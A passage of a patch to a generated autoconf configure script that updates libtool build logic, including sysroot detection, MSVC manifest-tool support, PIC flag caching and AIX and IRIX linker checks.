+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -7047,6 +7362,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -7058,7 +7385,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -7084,8 +7411,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -7095,8 +7422,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -7133,6 +7460,17 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
++
++
++
+
+
+
+@@ -7149,6 +7487,44 @@ fi
+
+
+
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
+
+
+
+@@ -7360,6 +7736,123 @@ esac
+
+ need_locks="$enable_libtool_lock"
+
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
++ fi
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
++
++
+
+ case $host_os in
+ rhapsody* | darwin*)
+@@ -7923,6 +8416,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -7991,6 +8486,16 @@ done
+
+
+
++func_stripname_cnf ()
++{
++ case ${2} in
++ .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
++ *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
++ esac
++} # func_stripname_cnf
++
++
++
+
+
+ # Set options
+@@ -8506,8 +9011,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -8673,6 +9176,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -8735,7 +9244,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -8792,13 +9301,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -8859,6 +9372,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -9209,7 +9727,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -9308,12 +9827,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -9327,8 +9846,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -9346,8 +9865,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9393,8 +9912,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9524,7 +10043,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9537,22 +10062,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -9564,7 +10096,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9577,22 +10115,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -9636,21 +10181,64 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # When not using gcc, we currently assume that we are using
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+- # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ # no search path for DLLs.
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -9711,7 +10299,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -9719,7 +10307,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -9735,7 +10323,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -9759,10 +10347,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -9841,23 +10429,36 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
